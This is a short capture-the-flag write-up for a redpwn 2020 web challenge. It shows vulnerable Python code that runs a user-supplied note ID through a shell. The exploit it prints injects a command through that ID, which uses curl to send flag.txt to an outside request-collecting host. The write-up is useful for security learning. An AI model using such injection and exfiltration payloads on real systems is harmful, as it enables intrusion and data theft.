I might have found an unintentional solution:)       
In `api/server.py` there is a get_note function that uses `subprocess.Popen`. We can inject code into here, because we control the note ID we would like to GET.
```pythondef get_note(nid):    stdout, stderr = subprocess.Popen(f"cat 'notes/{nid}' || echo it did not work btw", shell = True, stdout = subprocess.PIPE, stderr = subprocess.PIPE, stdin = subprocess.PIPE).communicate()    if stderr:        print(stderr) # lemonthink        return {}    return {        'success' : True,        'title' : nid,        'contents' : stdout.decode('utf-8', errors = 'ignore')    }```
We can use Curl to exfiltrate `flag.txt` to our domain. I used requestbin here and sent a post request with the data from flag.txt.We want to use `x';curl enydkdjvlgmx.x.pipedream.net --data @flag.txt;'` as our note ID
```curl -v "http://2020.redpwnc.tf:31957/notes/x'%3bcurl%20enydkdjvlgmx.x.pipedream.net%20--data%20%40flag.txt%3b'"```
This yields the flag```flag{y0u_b3tt3r_n0t_m@k3_m3_l0s3_my_pyth0n_d3v_j0b}```